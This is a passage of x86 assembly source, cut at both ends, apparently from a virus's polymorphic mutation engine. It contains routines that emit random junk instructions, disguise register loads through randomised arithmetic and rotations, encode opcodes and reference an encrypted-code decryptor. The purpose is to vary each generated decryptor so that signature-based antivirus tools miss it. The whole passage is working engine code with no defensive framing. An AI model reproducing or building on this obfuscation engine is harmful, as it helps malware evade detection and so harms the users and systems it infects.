                call  eax
                pop   ebx
                pop   ecx
                loop  rndj_loop
                mov   [esp], edi
                popad
                ret
iRndJunk        endp
; generates one junk instruction with the register in ebx (the register
; isn't overwritten some times)
; ebx = register
iRegJunk        proc
                push  RJ_METHCNT
                call  rnd32r
                mov   ecx, [ebp.rj_methods-idelta+4*eax]
                add   ecx, ebp
                call  iOpSizeReg
                jmp   ecx

                ; method 1: immediate operation on register
rj_meth1:       push  eax
                mov   ecx, ebx
                xor   ecx, 0FFFFFF00h xor MOD_REG
                push  OPTYPE_MOV + 3
                call  rnd32r
                cmp   al, OPTYPE_MOV + 1
                jb    rj_m1_nmov
                mov   al, OPTYPE_MOV
rj_m1_nmov:
                xchg  eax, ebx
                call  rnd32
                xchg  eax, edx
                call  rnd32
                test  al, 0Ch
                jz    rj_m1_nsx
                movsx edx, dl
rj_m1_nsx:      pop   eax
rj_m1_nrc:      jmp   ciOpRMImm

                ; method 2: operation with mem on register
rj_meth2:       push  eax
                call  iGetMemory
                push  OPTYPE_MOV + 3    ; we don't want to XCHG
                call  rnd32r            ; get random operation type
                cmp   al, OPTYPE_MOV + 1
                jb    rj_m2_nmov
                mov   al, OPTYPE_MOV
rj_m2_nmov:
                mov   bh, al
                pop   eax
                mov   ah, REG_MEM
                jmp   ciOpRMReg

                ; method 3: operation with reg on register
rj_meth3:
                push  eax
rj_m3_asd:      call  rnd32
                and   al, REG_EDI
                cmp   al, bl
                je    rj_m3_asd
                xor   al, MOD_REG
                xor   bl, MOD_REG
                xchg  eax, ecx
                call  rnd32
                and   al, 01h
                jnz   rj_m3_nxchg
                xchg  bl, cl
rj_m3_nxchg:    xchg  eax, edx
                push  OPTYPE_MOV + 3
                call  rnd32r
                cmp   al, OPTYPE_MOV + 1
                jb    rj_m3_nmov
                mov   al, OPTYPE_MOV
rj_m3_nmov:     mov   bh, al
                pop   eax
                mov   ah, dl
                jmp   ciOpRMReg

                ; method 4: shift register
rj_meth4:       xchg  eax, ebx
                or    al, MOD_REG
                xchg  eax, ecx
                push  ebx
                push  RND_SHIFT
                call  rnd32r
                xchg  eax, ebx
                push  SHIFT_RND
                call  rnd32r
                mov   bh, al
                call  rnd32
                and   al, 1Fh
                xchg  eax, edx
                pop   eax
                cmp   al, OPSIZE_16
                jne   rj_m4_blah1
                and   dl, 0Fh
rj_m4_blah1:    cmp   al, OPSIZE_8
                jne   rj_m4_blah2
                and   dl, 07h
rj_m4_blah2:
                mov   ah, dl
                jmp   ciShiftRM

                ; method 5: movzx/movsx register, reg
rj_meth5:       test  al, al
                jnz   rj_m5_ok
                inc   eax
                and   bl, not 04h
rj_m5_ok:       mov   dl, MOVX_WORD xor MOVX_SX
                test  al, 02h
                jz    rj_m5_nprefix
                mov   byte ptr [edi], OPERAND_SIZE
                inc   edi
                mov   dl, MOVX_SX
rj_m5_nprefix:  mov   byte ptr [edi], ESC_2BYTE
                inc   edi
                call  rnd32
                and   al, dl
                xor   al, MOVX
                stosb
                call  rnd32
                and   al, REG_EDI
                shl   ebx, 03h
                xor   eax, ebx
                xor   al, MOD_REG
                stosb
                ret

                ; method 6: inc/dec register
rj_meth6:       push  eax
                call  rnd32
                and   al, 01h
                xchg  eax, edx          ; BL = 0 [INC] BL = 1 [DEC]
                pop   eax
                test  al, al
                jnz   rj_m6_n8
                mov   byte ptr [edi], INCDEC_GROUP
                inc   edi
                xchg  eax, edx
                shl   eax, 03h
                xor   al, MOD_REG
                xor   al, bl
                stosb
                ret

rj_m6_n8:       test  al, 02h
                jz    rj_m6_noprefix
                mov   byte ptr [edi], OPERAND_SIZE
                inc   edi
rj_m6_noprefix: xchg  eax, edx
                shl   eax, 03h
                xor   al, INC_REG
                xor   al, bl
                stosb
                ret

rj_methods      equ   $
                dd    offset rj_meth1 - idelta
                dd    offset rj_meth2 - idelta
                dd    offset rj_meth3 - idelta
                dd    offset rj_meth4 - idelta
                dd    offset rj_meth5 - idelta
                dd    offset rj_meth6 - idelta
RJ_METHCNT      equ   06h
iRegJunk        endp

; write 2 - 4 register junk instructions
iRndRegJ        proc
                pushad
                push  03h
                call  rnd32r
                inc   eax
                inc   eax
                xchg  eax, ecx
                call  iGetJunkReg
                xchg  eax, ebx
irrj_loop:      push  ecx ebx
                call  iRegJunk
                pop   ebx ecx
                loop  irrj_loop
                mov   [esp], edi
                popad
                ret
iRndRegJ        endp

; memory junk generator
iMemJunk        proc
                push  MJ_METHCNT
                call  rnd32r
                mov   edx, [ebp.mj_methods-idelta+4*eax]
                add   edx, ebp
                push  OPSIZE_16 + 1
                call  rnd32r
                call  iGetWrMem
                jmp   edx

                ; immediate operation on memory
mj_meth1:       push  eax
                push  OPTYPE_MOV + 3
                call  rnd32r
                cmp   al, OPTYPE_MOV + 1
                jb    mj_m1_nmov
                mov   al, OPTYPE_MOV
mj_m1_nmov:     xchg  eax, ebx
                call  rnd32
                xchg  eax, edx
                call  rnd32
                test  al, 0Ch
                jz    mj_m1_nsx
                movsx edx, dl
mj_m1_nsx:      pop   eax
mj_m1_nrc:      jmp   ciOpRMImm

                ; register operation on memory

mj_meth2:       push  eax
                push  OPTYPE_MOV + 3
                call  rnd32r
                cmp   al, OPTYPE_MOV + 1
                jb    mj_m2_nmov
                mov   al, OPTYPE_MOV
mj_m2_nmov:     mov   bh, al

                call  rnd32
                test  ah, 01h
                jz    mj_m2_rndreg
                and   al, REG_EDI
                mov   bl, al
mj_m2_rndreg:   pop   eax
                xor   ah, ah    ; MEM_REG
                jmp   ciOpRMReg

                ; shift operation on memory
mj_meth3:       push  eax
                push  RND_SHIFT
                call  rnd32r
                xchg  ebx, eax
                push  SHIFT_RND
                call  rnd32r
                mov   bh, al
                call  rnd32
                xchg  eax, edx
                pop   eax
                mov   ah, dl
                jmp   ciShiftRM

mj_methods      equ   $
                dd    offset mj_meth1 - idelta
                dd    offset mj_meth2 - idelta
                dd    offset mj_meth3 - idelta
MJ_METHCNT      equ   03h
iMemJunk        endp
; input: bl = register
; output: al = operand size, bl = register
iOpSizeReg      proc
                push  OPSIZE_16 + 1
                call  rnd32r
                test  al, al
                jnz   cr_nop
                cmp   bl, REG_ESP
                jnb   iOpSizeReg
                push  eax
                call  rnd32
                and   al, 04h
                xor   bl, al
                pop   eax
cr_nop:         ret
iOpSizeReg      endp
; input: cx, esi = memory
; output: al = operand size, cx, esi = memory
iOpSizeMem      proc
                push  OPSIZE_16 + 1
                call  rnd32r
                ret
iOpSizeMem      endp

; gets random register, parameter or junk memory operand
iGetMemory      proc
                push  eax
gm_rep:         xor   eax, eax
                mov   al, GM_METHCNT2
                cmp   byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA
                jb    gm_push
                inc   eax
                inc   eax
gm_push:        sub   al, [ebp.InLoop-idelta]
                push  eax
                call  rnd32r
                add   al, [ebp.InLoop-idelta]
                mov   eax, [ebp.gm_methods-idelta+4*eax]
                add   eax, ebp
                call  eax
                pop   eax
                ret

                ; get random parameter
gm_meth1:       movzx eax, byte ptr [ebp.CurrentProc-idelta]
                mov   al, [ebp.ProcParameters-idelta+eax] ; parameter count
                test  eax, eax
                jz    gm_m1_ebp    ; if no parameter, don't use this method
                push  eax
                call  rnd32r       ; choose random parameter
                shl   eax, 02h     ; scale to dword
                add   al, 08h      ; first dword is return address
                mov   esi, eax     ; the displacement
                mov   cx, REG_EBP  ; relative to EBP
                ret
gm_m1_ebp:      mov   cl, REG_EBP xor MOD_REG
                ret

                ; get random junk mem
gm_meth2:       mov   eax, [ebp.JunkSpSize-idelta] ; access a random dword
                shl   eax, 02h
                dec   eax
                dec   eax
                dec   eax
                push  eax
                call  rnd32r                      ; from junk memory
                add   eax, [ebp.JunkSpRVA-idelta] ; add start rva
                xchg  eax, esi
                mov   cx, MOD_DIRECT              ; return a direct address
                ret

                ; get random encrypted data
gm_meth3:       mov   eax, [ebp.CryptSize-idelta]
                shl   eax, 02h
                dec   eax
                dec   eax
                dec   eax
                push  eax
                call  rnd32r
                add   eax, [ebp.DecryptRVA-idelta]
                xchg  eax, esi
                mov   cx, MOD_DIRECT
                ret

                ; get encrypted data (RVA + 1/2/4*counter)
gm_meth4:       mov   esi, [ebp.DecryptRVA-idelta]
                push  03h                   ; scaling factor 1, 2 or 4
                call  rnd32r
                mov   ecx, eax
                push  edx
                xor   edx, edx
                inc   edx
                shl   edx, cl
                sub   esi, edx
                pop   edx
                shl   eax, 03h
                xor   al, [ebp.creg-idelta]
                mov   ch, al
                mov   cl, MOD_DIRECT
                ret

                ; get current encrypted dword
gm_meth5:       movsx cx, byte ptr [ebp.preg-idelta]  ; use [preg] without
                xor   esi, esi                        ; displacement
                ret

gm_methods      equ   $
                dd    offset gm_meth1 - idelta
                dd    offset gm_meth2 - idelta
GM_METHCNT3     equ   02h
                dd    offset gm_meth3 - idelta
GM_METHCNT2     equ   03h
                dd    offset gm_meth4 - idelta
                dd    offset gm_meth5 - idelta
GM_METHCNT1     equ   05h
iGetMemory      endp

iGetWrMem       proc
                push  eax
                push  GM_METHCNT3 - 1
                call  rnd32r
                mov   eax, [ebp.gm_methods-idelta+4+4*eax]
                add   eax, ebp
                call  eax
                pop   eax
                ret
iGetWrMem       endp


iGetPar         proc
                ret
iGetPar         endp

; common junk procedures

iGetJunkReg     proc
                push  03h
                call  rnd32r
                movzx eax, byte ptr [ebp.junkreg1-idelta+eax]
                ret
iGetJunkReg     endp

iPushJunk       proc
                pushad
                push  PP_METHCNT                ; random method to push
                call  rnd32r                    ; a parameter
                mov   eax, [ebp.pp_methods-idelta+4*eax]
                add   eax, ebp
                call  eax                       ; call da method
                mov   [esp], edi
                popad
                ret

                ; push 8-bit immediate sign 'xtended to 32-bit
pp_meth1:       mov   al, PUSH_IMM_SX
                stosb
                call  rnd32
                stosb
                ret

                ; push 32-bit immediate
pp_meth2:       mov   al, PUSH_IMM
                stosb
                call  rnd32
                xchg  eax, edx
                call  rnd32
                and   eax, edx
                stosd
                ret

                ; push register
pp_meth4:       call  rnd32
                and   al, REG_EDI
                xor   al, PUSH_REG
                stosb
                ret

                ; push memory
pp_meth3:       call  iGetMemory
                mov   al, OP_GROUP5
                stosb
                mov   bl, P_PUSH
                jmp   ciCreateOperand


pp_methods      equ   $
                dd    offset pp_meth1 - idelta
                dd    offset pp_meth2 - idelta
                dd    offset pp_meth3 - idelta
                dd    offset pp_meth4 - idelta
                dd    offset pp_meth4 - idelta
PP_METHCNT      equ   05h
iPushJunk       endp

iPopJunk        proc
                call  rnd32
                test  al, 01h
                jz    pj_asdfklj
                mov   al, POP_REG
                xor   eax, ebx
                stosb
                ret

pj_asdfklj:     test  al, 02h
                jz    pj_blahblah
                call  iGetWrMem
                mov   al, POP_MEM
                stosb
                xor   bl, bl
                jmp   ciCreateOperand

pj_blahblah:    push  04h
                pop   edx
                xor   bl, bl
                test  al, 04h
                jz    pj_sueder
                add   bl, OPTYPE_SUB
                neg   edx
pj_sueder:      mov   al, OPSIZE_32
                mov   cl, REG_ESP xor MOD_REG
                xor   ch, ch
                call  ciOpRMImm
                ret
iPopJunk        endp
; returns random dword (0..4294967295)
rnd32           proc; [no parameterz]
                push  ecx
                push  edx
                mov   eax, [ebp.RandomSeed-idelta] ; load random seed
                mov   ecx, eax
                mov   edx, eax
                not   ecx
                and   ecx, 03h          ; loop 8-64 times
                inc   ecx
                shl   ecx, 03h
rnd32_loop:     push  ecx
                mov   ecx, edx
                ror   eax, cl
                neg   eax
                rol   edx, cl
                dec   edx
                pop   ecx
rnd32_blah:     loop  rnd32_loop
                xor   eax, edx
                mov   [ebp.RandomSeed-idelta], eax ; write back random seed
                pop   edx
                pop   ecx
                ret
rnd32           endp

; returns random dword (0..[esp+4])
rnd32r          proc; [range]
                push  ecx
                push  edx
                mov   ecx, [esp+2*4+4]
                call  rnd32
                xor   edx, edx
                div   ecx
                xchg  eax, edx
                pop   edx
                pop   ecx
                ret   04h
rnd32r          endp

; 'xchanges n bytes from address ESI (n has to be pushed)
MixBytes        proc; [count] [esi = ptr]
                pushad                    ; preserve all registers
                mov   ebx, [esp.PUSHAD_SIZE+04h]
                mov   ecx, ebx
                shl   ecx, 01h            ; loop counter (2 * # of bytes)

xb_loop:        push  ebx                 ; number of bytes
                call  rnd32r              ; get first byte offset
                xchg  eax, edx
                push  ebx
                call  rnd32r              ; get second byte offset
                push  ebx                 ; preserve number
                mov   bl, [esi+eax]
                xchg  [esi+edx], bl       ; exchange bytes
                mov   [esi+eax], bl
                pop   ebx
                loop  xb_loop
                popad
                ret   04h
MixBytes        endp

; writes 1 to 4 random bytes
WriteJunk       proc
                push  eax
                push  ecx
                push  04h                 ; get random value 0..3
                call  rnd32r
                inc   eax                 ; +1 (1..4)
                xchg  ecx, eax            ; load into counter
wj_loop:        call  rnd32               ; get a random byte
                stosb                     ; store it
                loop  wj_loop
                pop   ecx
                pop   eax
                ret
WriteJunk       endp

; returns reg if it is a junk reg, otherwise -1
iIsJReg         proc
                mov   eax, [esp.04h]
                cmp   [ebp.junkreg1-idelta], al
                je    is_junkreg
                cmp   [ebp.junkreg2-idelta], al
                je    is_junkreg
                cmp   [ebp.junkreg3-idelta], al
                je    is_junkreg
                xor   eax, eax
                dec   eax
is_junkreg:     ret   04h
iIsJReg         endp

; generates TEST reg, reg/OR reg, reg/AND reg, reg
gCheckReg       proc
                ; generate MOD/RM byte with MOD_REG flag and twice the same
                ; register.
                pushad
                mov   al, bl
                xor   al, MOD_REG               ; use as register
                mov   cl, al
                xchg  eax, ebx

                mov   bh, OPTYPE_OR
                push  05h
                call  rnd32r                    ; get random value
                cmp   al, 03h
                jae   gcr_zer0
                test  al, 02h
                jz    gcr_and2
                mov   bh, OPTYPE_AND
gcr_and2:       test  al, 01h
                jz    gcr_not_test
                mov   bh, OPTYPE_TEST
gcr_not_test:   call  rnd32
                and   ah, REG_MEM               ; random direction
                mov   al, OPSIZE_32
                call  ciOpRMReg
gcr_exit2:      mov   [esp], edi
                popad
                ret
gcr_zer0:       call  rnd32
                and   al, OPTYPE_CMP
                cmp   al, OPTYPE_ADC
                jb    gcrz_1
                cmp   al, OPTYPE_AND
                jna   gcr_zer0
gcrz_1:         xchg  eax, ebx
                xor   edx, edx
                mov   al, OPSIZE_32
                call  ciOpRMImm
                jmp   gcr_exit2
gCheckReg       endp
; generates SUB reg, reg/XOR reg, reg/AND reg, 0
gClearReg       proc
                ; generate MOD/RM byte with MOD_REG flag and twice the same
                ; register.
                pushad
                mov   al, bl
                shl   al, 03h                   ; shift to REG field
                xor   al, bl                    ; write RM field
                xor   al, MOD_REG               ; use as register
                xchg  eax, ebx

                ; generate either a SUB reg, reg or XOR reg, reg
                mov   cl, MATH_SUB or OPSIZE_32
                push  03h
                call  rnd32r                    ; get random value
                test  al, 02h
                jnz   gcr_and
                test  al, 01h
                jz    gcr_not_sub
                mov   cl, MATH_XOR or OPSIZE_32
gcr_not_sub:    and   al, REG_MEM               ; random direction
                or    eax, ecx                  ; create opcode
                stosb                           ; store opcode
                xchg  eax, ebx                  ; MOD/RM byte
                stosb                           ; store
gcr_exit:       mov   [esp], edi
                popad
                ret
gcr_and:        xchg  eax, ebx
                and   al, MOD_REG xor REG_EDI
                xchg  eax, ecx
                mov   bl, OPTYPE_AND
                mov   al, OPSIZE_32
                xor   edx, edx
                call  ciOpRMImm
                jmp   gcr_exit
gClearReg       endp

; loads reg (EBX) with immediate value (EDX)
gLoadReg        proc
                mov   eax, edx
                shr   eax, 0Fh
                jnz   glr_notword

                push  03h          ; the value is 0..32767,
                call  rnd32r       ; so we can choose
                sub   al, 01h
                adc   al, 00h
glr_shift_sx:   shl   eax, 03h     ; MOVX_SX or MOVX_ZX

glr_word_val:   test  al, al
                jnz   glr_not_zx
                push  02h
                call  rnd32r
                test  eax, eax
                jz    glr_not_zx

                call  gClearReg

                push  05h                         ; ADD/OR/SUB/XOR
                call  rnd32r
                cmp   al, OPTYPE_OR
                jbe   glr_1
                add   al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR
glr_1:          cmp   al, OPTYPE_SUB
                jne   glr_ns
                neg   edx
glr_ns:         cmp   al, OPTYPE_CMP
                jne   glr_asdf
                inc   eax
glr_asdf:       xchg  eax, ebx
                xor   al, MOD_REG
                xchg  eax, ecx
                mov   al, OPSIZE_16
                jmp   ciOpRMImm

glr_not_zx:     push  eax
                call  iGetJunkReg
                xchg  eax, ecx
                call  rnd32
                test  al, 03h      ; chance of 1:4 to use same register
                jnz   glr_blah1
                mov   ecx, ebx
glr_blah1:      mov   al, OPSIZE_16
                push  ebx
                mov   bl, OPTYPE_MOV
                xor   ecx, 0FFFFFF00h xor MOD_REG
                call  ciOpRMImm
                pop   ebx
                and   ecx, REG_EDI
                xchg  ecx, ebx
                call  iBlockJunkAR

                pop   eax
                mov   ah, ESC_2BYTE
                xor   al, MOVX xor MOVX_WORD
                xchg  ah, al
                stosw
                xchg  ecx, ebx
                xor   ecx, 0FFFFFF00h xor MOD_REG
                jmp   ciCreateOperand

glr_notword:    inc   eax
                shr   eax, 11h     ; if not zero, value is a negative word
                jnz   glr_shift_sx ; we must use MOVSX

                mov   eax, edx
                shr   eax, 10h     ; if zero, only first 16 bits are used
                jz    glr_word_val ; we must use MOVZX

                push  GLR_METHCNT       ; choose between some methods
                call  rnd32r
                mov   eax, [ebp.glr_methods-idelta+eax*4] ; load method
                add   eax, ebp          ; relocate pointer to subroutine
                jmp   eax               ; jump to method.

                ; method 1: mov reg, imm
glr_meth1:      xchg  eax, ebx                  ; get register
                xor   al, MOV_REG_IMM32         ; add opcode
                stosb                           ; store opcode
                xchg  eax, edx                  ; get immediate
                stosd                           ; store immediate
                ret

                ; method 2: clear reg; add/or/sub/xor reg, imm
glr_meth2:      call  gClearReg                   ; clear the register
                push  04h                         ; ADD/OR/SUB/XOR
                call  rnd32r
                cmp   al, OPTYPE_OR
                jbe   glr_m2_1
                add   al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR
glr_m2_1:       cmp   al, OPTYPE_SUB
                jne   glr_m2_ns
                neg   edx
glr_m2_ns:      call  iBlockJunkAR
                xchg  eax, ebx
                or    al, MOD_REG               ; register
                xchg  eax, ecx
                mov   al, OPSIZE_32             ; 32-bit operand
                jmp   ciOpRMImm

                ; method 3: mov reg, rnd;
                ;           sub/add/xor reg, imm add/sub/xor rnd
glr_meth3:      mov   al, MOV_REG_IMM32         ; mov reg, imm32 opcode
                xor   eax, ebx                  ; add register
                stosb                           ; store it
                call  rnd32                     ; get a random dword
                stosd                           ; store it
                xchg  eax, edx                  ; random value
                xchg  eax, ecx                  ; immediate
                call  iBlockJunkAR              ; generate junk block
                push  03h                       ; add, sub, xor
                call  rnd32r
                test  eax, eax                  ; add?
                jz    glr_m3_1
                add   al, OPTYPE_SUB - 1        ; no, sub/xor
glr_m3_1:       test  eax, eax
                jnz   glr_m3_2
                neg   edx
                add   edx, ecx                  ; - random + immediate
glr_m3_2:       cmp   al, OPTYPE_SUB
                jnz   glr_m3_3
                sub   edx, ecx                  ; random - immediate
glr_m3_3:       cmp   al, OPTYPE_XOR
                jnz   glr_m3_4
                xor   edx, ecx                  ; random xor immediate
glr_m3_4:       xchg  eax, ebx
                or    al, MOD_REG
                xchg  eax, ecx
                mov   al, OPSIZE_32
                jmp   ciOpRMImm

                ; method 4: mov reg, imm ror/rol rnd;
                ;           ror/rol reg, rnd
glr_meth4:      call  rnd32
                and   al, 1Fh
                jz    glr_meth4
                xchg  eax, ecx
                xchg  eax, edx
                push  ebx
                mov   bl, ROL_SHIFT
                test  ch, 01h
                jz    glr_m4_rol
                rol   eax, cl
                inc   ebx
                jmp   glr_m4_ror
glr_m4_rol:     ror   eax, cl
glr_m4_ror:     xchg  dl, cl
                pop   ecx
                mov   byte ptr [edi], MOV_REG_IMM32
                xor   [edi], cl
                inc   edi
                stosd
                xchg  ah, dl
                xchg  ebx, ecx
                call  iBlockJunkAR
                xchg  ebx, ecx
                mov   al, OPSIZE_32
                mov   bh, SHIFT_IMM
                cmp   ah, 01h
                jnz   glr_m4_n1
                inc   bh
glr_m4_n1:      xor   ecx, 0FFFFFF00h xor MOD_REG
                jmp   ciShiftRM

glr_methods     equ   $
                dd    offset glr_meth1 - idelta
                dd    offset glr_meth2 - idelta
                dd    offset glr_meth3 - idelta
                dd    offset glr_meth4 - idelta
GLR_METHCNT     equ   04h
gLoadReg        endp
; relocates a long jump (32-bit displacement)
; [address of disp] points to the byte after the opcode
RelLongJmp      proc; [address], [address of disp]
                push  eax
                push  edi
                mov   eax, [esp.0Ch]        ; where to jump
                mov   edi, [esp.10h]        ; address of displacement
                neg   edi
                lea   eax, [eax+edi-04h]
                neg   edi
                stosd
                pop   edi
                pop   eax
                ret   08h
RelLongJmp      endp
; generates a shift instruction.
;
; AL: operand size
;       you can generate byte, word or dword operations. choose between
;       OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may generate a random
;       number < OPSIZE_RND.
;
; AH: immediate shift value
;
; BL: shift type (ROL_SHIFT, SHL_SHIFT, RCR_SHIFT, ...)
;       you can use random value < RND_SHIFT
;
;
; BH: shift operand type
;       SHIFT_IMM
;       SHIFT_1
;       SHIFT_CL
;       or random value < SHIFT_RND
;
; CL: R/M operand. can be:
;       1. register (REG_??? or MOD_REG)
;       2. memory, using register as index (REG_???)
;       3. memory, immediate address (MOD_DIRECT), ESI = virtual address
;
; CH: second index register + scaling factor
;       REG_??? + NO_SCALE / SCALE_2/4/8
;       (use random value < SCALE_RND, to get random register & scaling).
;       if this byte is zero, no SIB byte is used.
;       take special care when using no scaling factor (logical or with
;       NO_SCALE)
;
; ESI: displacement
;    if this is zero, no displacement is used.
;    when usin' direct addressing (MOD_DIRECT), this register contains
;    immediate memory address.
;    if ESI is in the range between -128 and 127, 8-bit displacement is
;    used. when you're using 8-bit displacement calculate them like this:
;    movsx esi, rm8          ; rm8 = 8-bit register or memory operand
;                            ; containing 8-bit displacement.
;
ciShiftRM       proc
                pushad
                test  al, OPSIZE_16        ; check if 16-bit operand
                jz    ciSRno_prefix        ; no, we don't need a prefix
                mov   byte ptr [edi], 66h  ; write prefix
                inc   edi                  ; increment pointer
                dec   eax                  ; change operand size to 32-bit
ciSRno_prefix:  cmp   ah, 01h
                jnz   ciSRasdlkfj
                cmp   bh, SHIFT_IMM
                test  bh, bh
                jnz   ciSRasdlkfj
                mov   bh, SHIFT_1
ciSRasdlkfj:    test  bh, bh
                jz    ciSRt_imm         ; shift by immediate value
                test  bh, SHIFT_CL
                jz    ciSRt_1
                or    al, 02h
ciSRt_1:        or    al, 10h
ciSRt_imm:      or    al, OP_SHIFT
                stosb
                cmp   bl, SAR_SHIFT
                jnz   ciSRnot_sar
                inc   ebx
ciSRnot_sar:    mov   al, bh
                push  eax
                call  ciCreateOperand
                pop   eax
                test  al, SHIFT_1 or SHIFT_CL
                jnz   ciSRexit
                xchg  al, ah
                stosb
ciSRexit:       mov   [esp], edi
                popad
                ret
ciShiftRM       endp
; generates a math operation, move, compare or exchange instruction.
;
; AL: operand size
;       you can generate byte, word or dword operations. choose between
;       OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may generate a random
;       number < OPSIZE_RND.
;
; AH: direction (MEM_REG, REG_MEM)
;       MEM_REG, from register to memory (write)
;       REG_MEM, from memory to register (read)
;       or random value < DIR_RND.
;
; BL: register
;     REG_??? or random value lower than REG_RND
;
; BH: operation type
;       the following operations are generated:
;       ADD, OR, ADC, SBB, AND, SUB, XOR, CMP, MOV, XCHG, TEST
;       use the corresponding OPTYPE_??? constant as operation type.
;       you can also use a random number lower than OPTYPE_RND constant.
;
; CL: R/M operand. can be:
;       1. register (REG_??? or MOD_REG)
;       2. memory, using register as index (REG_???)
;       3. memory, immediate address (MOD_DIRECT), ESI = virtual address
;
; CH: second index register + scaling factor
;       REG_??? + NO_SCALE / SCALE_2/4/8
;       (use random value < SCALE_RND, to get random register & scaling).
;       if this byte is zero, no SIB byte is used.
;       take special care when using no scaling factor (logical or with
;       NO_SCALE)
;
; ESI: displacement
;    if this is zero, no displacement is used.
;    when usin' direct addressing (MOD_DIRECT), this register contains
;    immediate memory address.
;    if ESI is in the range between -128 and 127, 8-bit displacement is
;    used. when you're using 8-bit displacement calculate them like this:
;    movsx esi, rm8          ; rm8 = 8-bit register or memory operand
;                            ; containing 8-bit displacement.
ciOpRMReg       proc
                pushad
                cmp   al, OPSIZE_16         ; check if 16-bit operand
                jnz   ciORRno_prefix        ; no, we don't need a prefix
                mov   byte ptr [edi], 66h   ; write prefix
                inc   edi                   ; increment pointer
                dec   eax                   ; change operand size to 32-bit

ciORRno_prefix: cmp   bh, OPTYPE_TEST       ; check if TEST instruction
                jnz   ciORRlame1
                mov   bh, 090h              ; real opcode ROR 3
                xor   ah, ah                ; we can only use MEM_REG
ciORRlame1:     cmp   bh, OPTYPE_XCHG       ; check if XCHG instruction
                jnz   ciORRlame2
                mov   bh, 0D0h              ; real opcode ROR 3
                test  al, al                ; check if 8-bit operand
                jz    ciORRlame2            ; next 2 checkz are obsolete

                mov   dl, cl
                and   dl, MOD_REG
                cmp   dl, MOD_REG
                jnz   ciORRblah

                xchg  cl, bl
                test  cl, cl                 ; check if reg field is eax
                jz    ciORRxchgeax           ; yes, generate xchg eAX, ??
                xchg  bl, cl
                cmp   cl, REG_EAX or MOD_REG ; check if r/m field is eax
                jnz   ciORRlame2
ciORRxchgeax:   test  cl, MOD_DISP8
                jz    ciORRblah
                test  cl, MOD_DISP32
                jz    ciORRblah

                mov   al, bl                ; BL contains reg
                and   al, 3Fh               ; clear MOD_REG bits
                or    al, XCHG_EAX_REG      ; generate opcode
                stosb                       ; store opcode
                jmp   ciORRexit             ; done! we saved one byte, but
                                            ; poly engine grows 25 bytes :p
ciORRblah:
ciORRlame2:     cmp   bh, OPTYPE_MOV          ; check if MOV instruction
                jnz   ciORRlame3
                mov   bh, 011h                ; real opcode ROR 3
ciORRlame3:     shl   ah, 1
                or    al, ah                  ; operand size + direction
                rol   bh, 03h                 ; operation number ROL 3
                or    al, bh
                stosb                         ; store opcode
                call  ciCreateOperand         ; create R/M byte
ciORRexit:      mov   [esp], edi
                popad
                ret
ciOpRMReg       endp
; generates a math operation, move or compare instruction.
;
; AL: operand size
;       you can generate byte, word or dword operations. choose between
;       OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may use random operand size
;       (random number must be lower than OPSIZE_RND)
;
; BL: operation type
;       the following operations are generated:
;       ADD, OR, ADC, SBB, AND, SUB, XOR, CMP, MOV, XCHG, TEST
;       use the corresponding OPTYPE_??? constant as operation type.
;       you can also use a random number lower than OPTYPE_RND constant.
;
;
; CL: R/M operand. can be:
;       1. register (REG_??? or MOD_REG)
;       2. memory, using register as index (REG_???)
;       3. memory, immediate address (MOD_DIRECT), ESI = virtual address
;
;       hey, you'd bet right! here you can also use random value! :I
;       REG_RND for random register (don't forget to set MOD_REG),
;       REG_RND for random index reg
;       and finally MEM_RND for random index reg, but also direct
;       addressing (means no index reg is used, but memory address)
;
; CH: second index register + scaling factor
;       REG_??? + NO_SCALE / SCALE_2/4/8
;       (use random value < SCALE_RND, to get random register & scaling).
;       if this byte is zero, no SIB byte is used.
;       take special care when using no scaling factor (logical or with
;       NO_SCALE)
; EDX/DX/DL: immediate value
;
; ESI: displacement or immediate address
;
; if operation is MOV and operand is register, generate MOV reg, imm8/16/32
; if operation is MOV and operand is memory, generate MOV mem, imm8/16/32
; if operation is TEST, generate TEST r/m, imm8/16/32
; if operand is register and register is EAX/AX/AL, no R/M byte is used.
; (other opcode)
;
ciOpRMImm       proc
                pushad
                push  edx
                mov   edx, eax
                cmp   al, OPSIZE_16        ; are we usin' 16-bit operands?
                jnz   ciORIno_prefix       ; no, we don't need a prefix.
                mov   byte ptr [edi], 66h  ; store prefix
                inc   edi
                dec   eax

                ; check for MOV operation

ciORIno_prefix: cmp   bl, OPTYPE_MOV         ; MOV operation?
                jnz   ciORInot_mov           ; no, check next

                ; check if operand is register

                push  eax                    ; push operand size.
                mov   eax, ecx
                xor   al, MOD_REG            ; invert MOD_??? bits
                test  al, MOD_REG            ; they aren't 00 now?
                jnz   ciORInot_reg           ; operand is not register
                pop   ecx                    ; pop operand size
                shl   cl, 03h                ; generate B0h or B8h opcode
                or    al, cl                 ; register OR operand size
                or    al, MOV_REG_IMM
                stosb                        ; store opcode
                jmp   ciORIwrite_imm         ; write immediate

                ; generate MOV mem, imm

ciORInot_reg:   pop   eax                    ; pop operand size
                or    al, MOV_MEM_IMM
                stosb
                xor   ebx, ebx
                jmp   ciORIcreate_rm

                ; Check for TEST operation

ciORInot_mov:   cmp   bl, OPTYPE_TEST        ; TEST operation?
                jnz   ciORInot_test          ; no, check next
                cmp   cl, REG_EAX or MOD_REG ; reg = EAX/AX/AL?
                jnz   ciORInot_eax1
                or    al, TEST_EAX_IMM       ; generate TEST eAX/AL, imm
                stosb
                jmp   ciORIwrite_imm

ciORInot_eax1:  or    al, OP_GROUP3          ; opcode for operation group 3
                stosb                        ; store
                xor   bl, bl                 ; TEST r/m, Ib/Iv
                jmp   ciORIcreate_rm

                ; check if EAX/AX/AL register.
                ; if yes, we can generate opcode by shifting left operation
                ; type by 03h, adding 04h and adding operand size.

ciORInot_test:
                ; if all above fails, generate operation from immediate
                ; group (group 1). opcode 80h or operand size.
                ; if it is a 32-bit immediate, we check if immediate value
                ; fits in byte (-128 <= immediate >= 127). we can save 3
                ; bytes that will be 000000h or FFFFFFh anyway. :-%

                push  edx
                or    al, OP_GROUP1
                test  al, OPSIZE_32
                jz    ciORIblah

                mov   edx, [esp + 04h]
                movsx edx, dl
                cmp   edx, [esp + 04h]
                jne   ciORIblah
                inc   eax
                and   byte ptr [esp], 00h
                inc   eax        ; use byte imm, sign extended to dword
